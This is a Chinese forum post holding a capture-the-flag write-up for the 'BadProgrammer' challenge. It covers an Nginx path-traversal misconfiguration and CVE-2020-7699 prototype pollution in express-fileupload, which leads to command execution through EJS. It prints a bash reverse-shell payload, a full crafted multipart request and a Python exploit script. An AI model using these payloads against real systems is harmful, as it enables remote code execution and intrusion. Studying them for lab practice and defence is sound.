【攻防天下】BadProgrammer

打印 上一主题 下一主题

主题 836|帖子 836|积分 2508

BadProgrammer

题目来源

攻防天下  NO.GFSJ0986
题目描述

打开网址页面如下,没有什么有用信息

用dirsearch扫一下目次,发现/static../(用御剑扫不出来)

其实这是一个Nginx配置错误的目次遍历漏洞,用AWVS也可以扫出来

题解

访问/static../

查看app.js,返回以下代码
  1. const express = require('express');
  2. const fileUpload = require('express-fileupload');
  3. const app = express();
  4. app.use(fileUpload({ parseNested: true }));
  5. app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => {
  6.     res.render('flag.ejs');
  7. });
  8. app.get('/', (req, res) => {
  9.     res.render('index.ejs');
  10. })
  11. app.listen(3000);
  12. app.on('listening', function() {
  13.     console.log('Express server started on port %s at %s', server.address().port, server.address().address);
  14. });
复制代码
访问/4_pATh_y0u_CaNN07_Gu3ss

看到flag在 flag.txt 中,但是无法直接访问到 flag.txt
这里必要掌握express-fileupload中间件漏洞:CVE-2020-7699。
该漏洞存在于express-fileupload版本低于1.1.9(不包含),在package.json中可以看到其版本为1.1.7,可以利用该漏洞

该漏洞原理分析:https://www.freebuf.com/vuls/246029.html
通用payload如下:
  1. x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/port 0>&1"');x
复制代码
如果有vps的同学可以尝试反弹shell到有公网ip的机器,这里我们直接将payload改为
  1. x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x
复制代码
构造哀求报文,注意不要随意删除或添加空行
  1. POST /4_pATh_y0u_CaNN07_Gu3ss HTTP/1.1
  2. Host: 61.147.171.105:53137
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  6. Accept-Encoding: gzip, deflate, br
  7. Accept-Language: zh-CN,zh;q=0.9
  8. Connection: close
  9. Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333
  10. Content-Length: 289
  11. -----------------------------1546646991721295948201928333
  12. Content-Disposition: form-data; name="__proto__.outputFunctionName"
  13. x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x
  14. -----------------------------1546646991721295948201928333--
复制代码
该哀求的Content-Type必须为 multipart/form-data
发送该哀求包后,flag.txt将被复制到static/js下,即可得到flag。
若构造该哀求包有难度,也可以利用requests库举行哀求
  1. import requests
  2. resp1 = requests.post("http://{}:{}/{}".format('61.147.171.105', '53137', '4_pATh_y0u_CaNN07_Gu3ss'),
  3.         files={'__proto__.outputFunctionName':
  4.         (
  5.             None, "x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x".format(cmd='cp /flag.txt /app/static/js/flag.txt')
  6.         )})
  7. print(resp1)
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

雁过留声

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表